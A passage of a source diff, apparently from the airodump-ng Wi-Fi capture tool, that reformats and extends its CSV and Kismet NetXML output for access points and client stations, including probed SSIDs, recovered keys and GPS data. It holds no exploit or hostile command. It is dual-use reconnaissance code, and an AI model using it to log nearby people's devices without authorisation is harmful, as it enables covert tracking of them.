-        "\r\nStation MAC, First time seen, Last time seen, "
-        "Power, # packets, BSSID, Probed ESSIDs\r\n" );
-
-    st_cur = G.st_1st;
-
-    while( st_cur != NULL )
-    {
-        ap_cur = st_cur->base;
-
-        if( ap_cur->nb_pkt < 2 )
-        {
-            st_cur = st_cur->next;
-            continue;
-        }
-
-        fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ",
-                 st_cur->stmac[0], st_cur->stmac[1],
-                 st_cur->stmac[2], st_cur->stmac[3],
-                 st_cur->stmac[4], st_cur->stmac[5] );
-
-        ltime = localtime( &st_cur->tinit );
-
-        fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ",
-                 1900 + ltime->tm_year, 1 + ltime->tm_mon,
-                 ltime->tm_mday, ltime->tm_hour,
-                 ltime->tm_min,  ltime->tm_sec );
-
-        ltime = localtime( &st_cur->tlast );
-
-        fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ",
-                 1900 + ltime->tm_year, 1 + ltime->tm_mon,
-                 ltime->tm_mday, ltime->tm_hour,
-                 ltime->tm_min,  ltime->tm_sec );
-
-        fprintf( G.f_txt, "%3d, %8ld, ",
-                 st_cur->power,
-                 st_cur->nb_pkt );
-
-        if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) )
-            fprintf( G.f_txt, "(not associated) ," );
-        else
-            fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X,",
-                     ap_cur->bssid[0], ap_cur->bssid[1],
-                     ap_cur->bssid[2], ap_cur->bssid[3],
-                     ap_cur->bssid[4], ap_cur->bssid[5] );
-
-	probes_written = 0;
-        for( i = 0, n = 0; i < NB_PRB; i++ )
-        {
-            if( st_cur->ssid_length[i] == 0 )
-                continue;
-
-	    temp = format_text_for_csv((unsigned char *)st_cur->probes[i], st_cur->ssid_length[i]);
-
-	    if( probes_written == 0)
-	    {
-		fprintf( G.f_txt, "%s", temp);
-		probes_written = 1;
-	    }
-	    else
-	    {
-		fprintf( G.f_txt, ",%s", temp);
-	    }
-
-	    free(temp);
-        }
-
-        fprintf( G.f_txt, "\r\n" );
-
-        st_cur = st_cur->next;
-    }
-
-    fprintf( G.f_txt, "\r\n" );
-    fflush( G.f_txt );
-    return 0;
+		fprintf(G.f_txt,
+				", %3d, %8lu, %8lu, ",
+				ap_cur->avg_power,
+				ap_cur->nb_bcn,
+				ap_cur->nb_data);
+
+		fprintf(G.f_txt,
+				"%3d.%3d.%3d.%3d, ",
+				ap_cur->lanip[0],
+				ap_cur->lanip[1],
+				ap_cur->lanip[2],
+				ap_cur->lanip[3]);
+
+		fprintf(G.f_txt, "%3d, ", ap_cur->ssid_length);
+
+		if (verifyssid(ap_cur->essid))
+			fprintf(G.f_txt, "%s, ", ap_cur->essid);
+		else
+		{
+			temp = format_text_for_csv(ap_cur->essid, ap_cur->ssid_length);
+			fprintf(G.f_txt, "%s, ", temp);
+			free(temp);
+		}
+
+		if (ap_cur->key != NULL)
+		{
+			for (i = 0; i < (int) strlen(ap_cur->key); i++)
+			{
+				fprintf(G.f_txt, "%02X", ap_cur->key[i]);
+				if (i < (int) (strlen(ap_cur->key) - 1)) fprintf(G.f_txt, ":");
+			}
+		}
+
+		fprintf(G.f_txt, "\r\n");
+
+		ap_cur = ap_cur->next;
+	}
+
+	fprintf(G.f_txt,
+			"\r\nStation MAC, First time seen, Last time seen, "
+			"Power, # packets, BSSID, Probed ESSIDs\r\n");
+
+	st_cur = G.st_1st;
+
+	while (st_cur != NULL)
+	{
+		ap_cur = st_cur->base;
+
+		if (ap_cur->nb_pkt < 2)
+		{
+			st_cur = st_cur->next;
+			continue;
+		}
+
+		fprintf(G.f_txt,
+				"%02X:%02X:%02X:%02X:%02X:%02X, ",
+				st_cur->stmac[0],
+				st_cur->stmac[1],
+				st_cur->stmac[2],
+				st_cur->stmac[3],
+				st_cur->stmac[4],
+				st_cur->stmac[5]);
+
+		ltime = localtime(&st_cur->tinit);
+
+		fprintf(G.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		ltime = localtime(&st_cur->tlast);
+
+		fprintf(G.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		fprintf(G.f_txt, "%3d, %8lu, ", st_cur->power, st_cur->nb_pkt);
+
+		if (!memcmp(ap_cur->bssid, BROADCAST, 6))
+			fprintf(G.f_txt, "(not associated) ,");
+		else
+			fprintf(G.f_txt,
+					"%02X:%02X:%02X:%02X:%02X:%02X,",
+					ap_cur->bssid[0],
+					ap_cur->bssid[1],
+					ap_cur->bssid[2],
+					ap_cur->bssid[3],
+					ap_cur->bssid[4],
+					ap_cur->bssid[5]);
+
+		probes_written = 0;
+		for (i = 0, n = 0; i < NB_PRB; i++)
+		{
+			if (st_cur->ssid_length[i] == 0) continue;
+
+			if (verifyssid((const unsigned char *) st_cur->probes[i]))
+			{
+				temp = (char *) calloc(
+					1, (st_cur->ssid_length[i] + 1) * sizeof(char));
+				memcpy(temp, st_cur->probes[i], st_cur->ssid_length[i] + 1);
+			}
+			else
+			{
+				temp = format_text_for_csv((unsigned char *) st_cur->probes[i],
+										   st_cur->ssid_length[i]);
+			}
+
+			if (probes_written == 0)
+			{
+				fprintf(G.f_txt, "%s", temp);
+				probes_written = 1;
+			}
+			else
+			{
+				fprintf(G.f_txt, ",%s", temp);
+			}
+
+			free(temp);
+		}
+
+		fprintf(G.f_txt, "\r\n");
+
+		st_cur = st_cur->next;
+	}
+
+	fprintf(G.f_txt, "\r\n");
+	fflush(G.f_txt);
+	return 0;
 }
 
-char * sanitize_xml(unsigned char * text, int length)
+static char * sanitize_xml(unsigned char * text, int length)
 {
 	int i;
 	size_t len, current_text_len;
 	unsigned char * pos;
 	char * newtext = NULL;
-	if (text != NULL && length > 0) {
+	if (text != NULL && length > 0)
+	{
 		len = 8 * length;
-		newtext = (char *)calloc(1, (len + 1) * sizeof(char)); // Make sure we have enough space
+		newtext = (char *) calloc(
+			1, (len + 1) * sizeof(char)); // Make sure we have enough space
 		pos = text;
-		for (i = 0; i < length; ++i, ++pos) {
-			switch (*pos) {
+		for (i = 0; i < length; ++i, ++pos)
+		{
+			switch (*pos)
+			{
 				case '&':
 					strncat(newtext, "&amp;", len);
 					break;
@@ -3981,12 +4668,18 @@
 					strncat(newtext, "&#xA;", len);
 					break;
 				default:
-					if ( isprint((int)(*pos)) ) {
+					if (isprint((int) (*pos)))
+					{
 						newtext[strlen(newtext)] = *pos;
-					} else {
+					}
+					else
+					{
 						strncat(newtext, "&#x", len);
 						current_text_len = strlen(newtext);
-						snprintf(newtext + current_text_len, len - current_text_len + 1, "%4x", *pos);
+						snprintf(newtext + current_text_len,
+								 len - current_text_len + 1,
+								 "%4x",
+								 *pos);
 						strncat(newtext, ";", len);
 					}
 					break;
@@ -3998,16 +4691,17 @@
 	return newtext;
 }
 
-
 #define OUI_STR_SIZE 8
 #define MANUF_SIZE 128
-char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) {
+char *
+get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2)
+{
 	char oui[OUI_STR_SIZE + 1];
-	char *manuf;
-	//char *buffer_manuf;
+	char *manuf, *rmanuf;
+	// char *buffer_manuf;
 	char * manuf_str;
-	struct oui *ptr;
-	FILE *fp;
+	struct oui * ptr;
+	FILE * fp;
 	char buffer[BUFSIZ];
 	char temp[OUI_STR_SIZE + 1];
 	unsigned char a[2];
@@ -4015,45 +4709,66 @@
 	unsigned char c[2];
 	int found = 0;
 
-	if ((manuf = (char *)calloc(1, MANUF_SIZE * sizeof(char))) == NULL) {
+	if ((manuf = (char *) calloc(1, MANUF_SIZE * sizeof(char))) == NULL)
+	{
 		perror("calloc failed");
 		return NULL;
 	}
 
-	snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2 );
+	snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2);
 
-	if (G.manufList != NULL) {
+	if (G.manufList != NULL)
+	{
 		// Search in the list
 		ptr = G.manufList;
-		while (ptr != NULL) {
-			found = ! strncasecmp(ptr->id, oui, OUI_STR_SIZE);
-			if (found) {
+		while (ptr != NULL)
+		{
+			found = !strncasecmp(ptr->id, oui, OUI_STR_SIZE);
+			if (found)
+			{
 				memcpy(manuf, ptr->manuf, MANUF_SIZE);
 				break;
 			}
 			ptr = ptr->next;
 		}
-	} else {
-		// If the file exist, then query it each time we need to get a manufacturer.
+	}
+	else
+	{
+		// If the file exist, then query it each time we need to get a
+		// manufacturer.
 		fp = open_oui_file();
 
-		if (fp != NULL) {
+		if (fp != NULL)
+		{
 
 			memset(buffer, 0x00, sizeof(buffer));
-			while (fgets(buffer, sizeof(buffer), fp) != NULL) {
-				if (strstr(buffer, "(hex)") == NULL) {
+			while (fgets(buffer, sizeof(buffer), fp) != NULL)
+			{
+				if (strstr(buffer, "(hex)") == NULL)
+				{
 					continue;
 				}
 
 				memset(a, 0x00, sizeof(a));
 				memset(b, 0x00, sizeof(b));
 				memset(c, 0x00, sizeof(c));
-				if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) {
-					snprintf(temp, sizeof(temp), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1] );
+				if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3)
+				{
+					snprintf(temp,
+							 sizeof(temp),
+							 "%c%c:%c%c:%c%c",
+							 a[0],
+							 a[1],
+							 b[0],
+							 b[1],
+							 c[0],
+							 c[1]);
 					found = !memcmp(temp, oui, strlen(oui));
-					if (found) {
+					if (found)
+					{
 						manuf_str = get_manufacturer_from_string(buffer);
-						if (manuf_str != NULL) {
+						if (manuf_str != NULL)
+						{
 							snprintf(manuf, MANUF_SIZE, "%s", manuf_str);
 							free(manuf_str);
 						}
@@ -4069,38 +4784,47 @@
 	}
 
 	// Not found, use "Unknown".
-	if (!found || *manuf == '\0') {
+	if (!found || *manuf == '\0')
+	{
 		memcpy(manuf, "Unknown", 7);
 		manuf[strlen(manuf)] = '\0';
 	}
 
-	manuf = (char *)realloc(manuf, (strlen(manuf) + 1) * sizeof(char));
+	// Going in a smaller buffer
+	rmanuf = (char *) realloc(manuf, (strlen(manuf) + 1) * sizeof(char));
 
-	return manuf;
+	return (rmanuf) ? rmanuf : manuf;
 }
 #undef OUI_STR_SIZE
 #undef MANUF_SIZE
 
-
-#define KISMET_NETXML_HEADER_BEGIN "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE detection-run SYSTEM \"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run kismet-version=\"airodump-ng-1.0\" start-time=\""
+#define KISMET_NETXML_HEADER_BEGIN                                             \
+	"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE "              \
+	"detection-run SYSTEM "                                                    \
+	"\"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run "       \
+	"kismet-version=\"airodump-ng-1.0\" start-time=\""
 #define KISMET_NETXML_HEADER_END "\">\n\n"
 
 #define KISMET_NETXML_TRAILER "</detection-run>"
 
 #define TIME_STR_LENGTH 255
-int dump_write_kismet_netxml_client_info(struct ST_info *client, int client_no)
+static int dump_write_kismet_netxml_client_info(struct ST_info * client,
+												int client_no)
 {
 	char first_time[TIME_STR_LENGTH];
 	char last_time[TIME_STR_LENGTH];
 	char * manuf;
-	int client_max_rate, average_power, i, nb_probes_written, is_unassociated;
+	int client_max_rate, average_power, max_power, i, nb_probes_written,
+		is_unassociated;
 	char * essid = NULL;
 
-	if (client == NULL || client_no < 1) {
+	if (client == NULL || (client_no <= 0 || client_no >= INT_MAX))
+	{
 		return 1;
 	}
 
-	is_unassociated = (client->base == NULL || memcmp(client->base->bssid, BROADCAST, 6) == 0);
+	is_unassociated = (client->base == NULL
+					   || memcmp(client->base->bssid, BROADCAST, 6) == 0);
 
 	strncpy(first_time, ctime(&client->tinit), TIME_STR_LENGTH - 1);
 	first_time[strlen(first_time) - 1] = 0; // remove new line
@@ -4108,56 +4832,73 @@
 	strncpy(last_time, ctime(&client->tlast), TIME_STR_LENGTH - 1);
 	last_time[strlen(last_time) - 1] = 0; // remove new line
 
-	fprintf(G.f_kis_xml, "\t\t<wireless-client number=\"%d\" "
-				 "type=\"%s\" first-time=\"%s\""
-				 " last-time=\"%s\">\n",
-				 client_no, (is_unassociated) ? "tods" : "established",
-				 first_time, last_time );
-
-	fprintf( G.f_kis_xml, "\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n",
-				 client->stmac[0], client->stmac[1],
-				 client->stmac[2], client->stmac[3],
-				 client->stmac[4], client->stmac[5] );
+	fprintf(G.f_kis_xml,
+			"\t\t<wireless-client number=\"%d\" "
+			"type=\"%s\" first-time=\"%s\""
+			" last-time=\"%s\">\n",
+			client_no,
+			(is_unassociated) ? "tods" : "established",
+			first_time,
+			last_time);
+
+	fprintf(G.f_kis_xml,
+			"\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n",
+			client->stmac[0],
+			client->stmac[1],
+			client->stmac[2],
+			client->stmac[3],
+			client->stmac[4],
+			client->stmac[5]);
 
 	/* Manufacturer, if set using standard oui list */
-	manuf = sanitize_xml((unsigned char *)client->manuf, strlen(client->manuf));
-	fprintf(G.f_kis_xml, "\t\t\t<client-manuf>%s</client-manuf>\n", (manuf != NULL) ? manuf : "Unknown");
+	manuf
+		= sanitize_xml((unsigned char *) client->manuf, strlen(client->manuf));
+	fprintf(G.f_kis_xml,
+			"\t\t\t<client-manuf>%s</client-manuf>\n",
+			(manuf != NULL) ? manuf : "Unknown");
 	free(manuf);
 
 	/* SSID item, aka Probes */
 	nb_probes_written = 0;
-	for( i = 0; i < NB_PRB; i++ )
-        {
-		if( client->probes[i][0] == '\0' )
-			continue;
+	for (i = 0; i < NB_PRB; i++)
+	{
+		if (client->probes[i][0] == '\0') continue;
 
-		fprintf( G.f_kis_xml, "\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
-					first_time, last_time);
-		fprintf( G.f_kis_xml, "\t\t\t\t<type>Probe Request</type>\n"
-					"\t\t\t\t<max-rate>54.000000</max-rate>\n"
-					"\t\t\t\t<packets>1</packets>\n"
-					"\t\t\t\t<encryption>None</encryption>\n");
-		essid = sanitize_xml((unsigned char *)client->probes[i], client->ssid_length[i]);
-		if (essid != NULL) {
-			fprintf( G.f_kis_xml, "\t\t\t\t<ssid>%s</ssid>\n", essid);
+		fprintf(G.f_kis_xml,
+				"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+		fprintf(G.f_kis_xml,
+				"\t\t\t\t<type>Probe Request</type>\n"
+				"\t\t\t\t<max-rate>54.000000</max-rate>\n"
+				"\t\t\t\t<packets>1</packets>\n"
+				"\t\t\t\t<encryption>None</encryption>\n");
+		essid = sanitize_xml((unsigned char *) client->probes[i],
+							 client->ssid_length[i]);
+		if (essid != NULL)
+		{
+			fprintf(G.f_kis_xml, "\t\t\t\t<ssid>%s</ssid>\n", essid);
 			free(essid);
 		}
 
-		fprintf( G.f_kis_xml, "\t\t\t</SSID>\n");
+		fprintf(G.f_kis_xml, "\t\t\t</SSID>\n");
 
 		++nb_probes_written;
-        }
+	}
 
 	// Unassociated client with broadcast probes
 	if (is_unassociated && nb_probes_written == 0)
 	{
-		fprintf( G.f_kis_xml, "\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
-					first_time, last_time);
-		fprintf( G.f_kis_xml, "\t\t\t\t<type>Probe Request</type>\n"
-					"\t\t\t\t<max-rate>54.000000</max-rate>\n"
-					"\t\t\t\t<packets>1</packets>\n"
-					"\t\t\t\t<encryption>None</encryption>\n");
-		fprintf( G.f_kis_xml, "\t\t\t</SSID>\n");
+		fprintf(G.f_kis_xml,
+				"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+		fprintf(G.f_kis_xml,
+				"\t\t\t\t<type>Probe Request</type>\n"
+				"\t\t\t\t<max-rate>54.000000</max-rate>\n"
+				"\t\t\t\t<packets>1</packets>\n"
+				"\t\t\t\t<encryption>None</encryption>\n");
+		fprintf(G.f_kis_xml, "\t\t\t</SSID>\n");
 	}
 
 	/* Channel
@@ -4165,12 +4906,15 @@
 	fprintf(G.f_kis_xml, "\t\t\t<channel>%d</channel>\n", client->channel);
 
 	/* Rate: inaccurate because it's the latest rate seen */
-	client_max_rate = ( client->rate_from > client->rate_to ) ? client->rate_from : client->rate_to ;
-	fprintf(G.f_kis_xml, "\t\t\t<maxseenrate>%.6f</maxseenrate>\n", client_max_rate /
+	client_max_rate = (client->rate_from > client->rate_to) ? client->rate_from
+															: client->rate_to;
+	fprintf(G.f_kis_xml,
+			"\t\t\t<maxseenrate>%.6f</maxseenrate>\n",
+			client_max_rate /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 1000000) );
+				(0.0f + 1000000));
 #else
-		1000000.0 );
+				1000000.0);
 #endif
 
 	/* Those 2 lines always stays the same */
@@ -4178,19 +4922,23 @@
 	fprintf(G.f_kis_xml, "\t\t\t<encoding>CCK</encoding>\n");
 
 	/* Packets */
-	fprintf(G.f_kis_xml, "\t\t\t<packets>\n"
-				"\t\t\t\t<LLC>0</LLC>\n"
-				"\t\t\t\t<data>0</data>\n"
-				"\t\t\t\t<crypt>0</crypt>\n"
-				"\t\t\t\t<total>%ld</total>\n"
-				"\t\t\t\t<fragments>0</fragments>\n"
-				"\t\t\t\t<retries>0</retries>\n"
-				"\t\t\t</packets>\n",
-				client->nb_pkt );
+	fprintf(G.f_kis_xml,
+			"\t\t\t<packets>\n"
+			"\t\t\t\t<LLC>0</LLC>\n"
+			"\t\t\t\t<data>0</data>\n"
+			"\t\t\t\t<crypt>0</crypt>\n"
+			"\t\t\t\t<total>%lu</total>\n"
+			"\t\t\t\t<fragments>0</fragments>\n"
+			"\t\t\t\t<retries>0</retries>\n"
+			"\t\t\t</packets>\n",
+			client->nb_pkt);
 
 	/* SNR information */
 	average_power = (client->power == -1) ? 0 : client->power;
-	fprintf(G.f_kis_xml, "\t\t\t<snr-info>\n"
+	max_power = (client->best_power == -1) ? average_power : client->best_power;
+
+	fprintf(G.f_kis_xml,
+			"\t\t\t<snr-info>\n"
 			"\t\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
 			"\t\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
 			"\t\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
@@ -4203,85 +4951,104 @@
 			"\t\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
 			"\t\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
 			"\t\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
-			 "\t\t\t</snr-info>\n",
-			 average_power, average_power, average_power,
-			 average_power, average_power );
+			"\t\t\t</snr-info>\n",
+			average_power,
+			average_power,
+			average_power,
+			max_power,
+			max_power);
+
+	/* GPS Coordinates for clients */
 
-	/* GPS Coordinates
-	   XXX: We don't have GPS coordinates for clients */
 	if (G.usegpsd)
 	{
-		fprintf(G.f_kis_xml, "\t\t\t<gps-info>\n"
-					"\t\t\t\t<min-lat>%.6f</min-lat>\n"
-					"\t\t\t\t<min-lon>%.6f</min-lon>\n"
-					"\t\t\t\t<min-alt>%.6f</min-alt>\n"
-					"\t\t\t\t<min-spd>%.6f</min-spd>\n"
-					"\t\t\t\t<max-lat>%.6f</max-lat>\n"
-					"\t\t\t\t<max-lon>%.6f</max-lon>\n"
-					"\t\t\t\t<max-alt>%.6f</max-alt>\n"
-					"\t\t\t\t<max-spd>%.6f</max-spd>\n"
-					"\t\t\t\t<peak-lat>%.6f</peak-lat>\n"
-					"\t\t\t\t<peak-lon>%.6f</peak-lon>\n"
-					"\t\t\t\t<peak-alt>%.6f</peak-alt>\n"
-					"\t\t\t\t<avg-lat>%.6f</avg-lat>\n"
-					"\t\t\t\t<avg-lon>%.6f</avg-lon>\n"
-					"\t\t\t\t<avg-alt>%.6f</avg-alt>\n"
-					 "\t\t\t</gps-info>\n",
-					 0.0, 0.0, 0.0, 0.0,
-					 0.0, 0.0, 0.0, 0.0,
-					 0.0, 0.0, 0.0,
-					 0.0, 0.0, 0.0 );
+		fprintf(G.f_kis_xml,
+				"\t\t\t<gps-info>\n"
+				"\t\t\t\t<min-lat>%.6f</min-lat>\n"
+				"\t\t\t\t<min-lon>%.6f</min-lon>\n"
+				"\t\t\t\t<min-alt>%.6f</min-alt>\n"
+				"\t\t\t\t<min-spd>%.6f</min-spd>\n"
+				"\t\t\t\t<max-lat>%.6f</max-lat>\n"
+				"\t\t\t\t<max-lon>%.6f</max-lon>\n"
+				"\t\t\t\t<max-alt>%.6f</max-alt>\n"
+				"\t\t\t\t<max-spd>%.6f</max-spd>\n"
+				"\t\t\t\t<peak-lat>%.6f</peak-lat>\n"
+				"\t\t\t\t<peak-lon>%.6f</peak-lon>\n"
+				"\t\t\t\t<peak-alt>%.6f</peak-alt>\n"
+				"\t\t\t\t<avg-lat>%.6f</avg-lat>\n"
+				"\t\t\t\t<avg-lon>%.6f</avg-lon>\n"
+				"\t\t\t\t<avg-alt>%.6f</avg-alt>\n"
+				"\t\t\t</gps-info>\n",
+				client->gps_loc_min[0],
+				client->gps_loc_min[1],
+				client->gps_loc_min[2],
+				client->gps_loc_min[3],
+				client->gps_loc_max[0],
+				client->gps_loc_max[1],
+				client->gps_loc_max[2],
+				client->gps_loc_max[3],
+				client->gps_loc_best[0],
+				client->gps_loc_best[1],
+				client->gps_loc_best[2],
+				/* Can the "best" be considered as average??? */
+				client->gps_loc_best[0],
+				client->gps_loc_best[1],
+				client->gps_loc_best[2]);
 	}
-	fprintf(G.f_kis_xml, "\t\t</wireless-client>\n" );
+	fprintf(G.f_kis_xml, "\t\t</wireless-client>\n");
 
 	return 0;
 }
 
 #define NETXML_ENCRYPTION_TAG "%s<encryption>%s</encryption>\n"
-int dump_write_kismet_netxml( void )
+static int dump_write_kismet_netxml(void)
 {
-    int network_number, average_power, client_max_rate, max_power, client_nbr, unused;
-    struct AP_info *ap_cur;
-    struct ST_info *st_cur;
-    char first_time[TIME_STR_LENGTH];
-    char last_time[TIME_STR_LENGTH];
-    char * manuf;
-    char * essid = NULL;
+	int network_number, average_power, client_max_rate, max_power, client_nbr,
+		fp, fpos, unused;
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	char first_time[TIME_STR_LENGTH];
+	char last_time[TIME_STR_LENGTH];
+	char * manuf;
+	char * essid = NULL;
 
-    if (! G.record_data || !G.output_format_kismet_netxml)
-    	return 0;
+	if (!G.record_data || !G.output_format_kismet_netxml) return 0;
 
-    fseek( G.f_kis_xml, 0, SEEK_SET );
+	if (fseek(G.f_kis_xml, 0, SEEK_SET) == -1)
+	{
+		return 0;
+	}
 
 	/* Header and airodump-ng start time */
-    fprintf( G.f_kis_xml, "%s%s%s",
-    		KISMET_NETXML_HEADER_BEGIN,
+	fprintf(G.f_kis_xml,
+			"%s%s%s",
+			KISMET_NETXML_HEADER_BEGIN,
 			G.airodump_start_time,
-    		KISMET_NETXML_HEADER_END );
+			KISMET_NETXML_HEADER_END);
 
+	ap_cur = G.ap_1st;
+
+	network_number = 0;
+	while (ap_cur != NULL)
+	{
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
 
-    ap_cur = G.ap_1st;
+		if (ap_cur->security != 0 && G.f_encrypt != 0
+			&& ((ap_cur->security & G.f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
 
-    network_number = 0;
-    while( ap_cur != NULL )
-    {
-        if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 )
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
-
-        if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
-
-        if(is_filtered_essid(ap_cur->essid))
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
 
 		++network_number; // Network Number
 		strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1);
@@ -4290,36 +5057,70 @@
 		strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1);
 		last_time[strlen(last_time) - 1] = 0; // remove new line
 
-		fprintf(G.f_kis_xml, "\t<wireless-network number=\"%d\" type=\"infrastructure\" ",
-			network_number);
-		fprintf(G.f_kis_xml, "first-time=\"%s\" last-time=\"%s\">\n", first_time, last_time);
-
-		fprintf(G.f_kis_xml, "\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
-				first_time, last_time);
-		fprintf(G.f_kis_xml, "\t\t\t<type>Beacon</type>\n" );
-		fprintf(G.f_kis_xml, "\t\t\t<max-rate>%d.000000</max-rate>\n", ap_cur->max_speed );
-		fprintf(G.f_kis_xml, "\t\t\t<packets>%ld</packets>\n", ap_cur->nb_bcn );
-		fprintf(G.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10 );
+		fprintf(G.f_kis_xml,
+				"\t<wireless-network number=\"%d\" type=\"infrastructure\" ",
+				network_number);
+		fprintf(G.f_kis_xml,
+				"first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+
+		fprintf(G.f_kis_xml,
+				"\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+		fprintf(G.f_kis_xml, "\t\t\t<type>Beacon</type>\n");
+		fprintf(G.f_kis_xml,
+				"\t\t\t<max-rate>%d.000000</max-rate>\n",
+				ap_cur->max_speed);
+		fprintf(G.f_kis_xml, "\t\t\t<packets>%lu</packets>\n", ap_cur->nb_bcn);
+		fprintf(G.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10);
 
 		// Encryption
-		if( ap_cur->security & STD_OPN  ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "None" );
-		else if( ap_cur->security & STD_WEP  ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP" );
-		else if( ap_cur->security & STD_WPA2 || ap_cur->security & STD_WPA  )
-		{
-			if( ap_cur->security & ENC_TKIP   ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+TKIP" );
-			if( ap_cur->security & AUTH_MGT   ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+MGT" ); // Not a valid value: NetXML does not have a value for WPA Enterprise
-			if( ap_cur->security & AUTH_PSK   ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+PSK" );
-			if( ap_cur->security & ENC_CCMP   ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+AES-CCM" );
-			if( ap_cur->security & ENC_WRAP   ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+AES-OCB" );
-		}
-		else if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP104" );
-		else if( ap_cur->security & ENC_WEP40  ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP40" );
+		if (ap_cur->security & STD_OPN)
+			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "None");
+		else if (ap_cur->security & STD_WEP)
+			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP");
+		else if (ap_cur->security & STD_WPA2 || ap_cur->security & STD_WPA)
+		{
+			if (ap_cur->security & ENC_TKIP)
+				fprintf(
+					G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+TKIP");
+			if (ap_cur->security & AUTH_MGT)
+				fprintf(G.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+MGT"); // Not a valid value: NetXML does not have a
+			// value for WPA Enterprise
+			if (ap_cur->security & AUTH_PSK)
+				fprintf(
+					G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+PSK");
+			if (ap_cur->security & ENC_CCMP)
+				fprintf(G.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+AES-CCM");
+			if (ap_cur->security & ENC_WRAP)
+				fprintf(G.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+AES-OCB");
+			if (ap_cur->security & ENC_GCMP)
+				fprintf(
+					G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+GCMP");
+		}
+		else if (ap_cur->security & ENC_WEP104)
+			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP104");
+		else if (ap_cur->security & ENC_WEP40)
+			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP40");
 
 		/* ESSID */
-		fprintf(G.f_kis_xml, "\t\t\t<essid cloaked=\"%s\">",
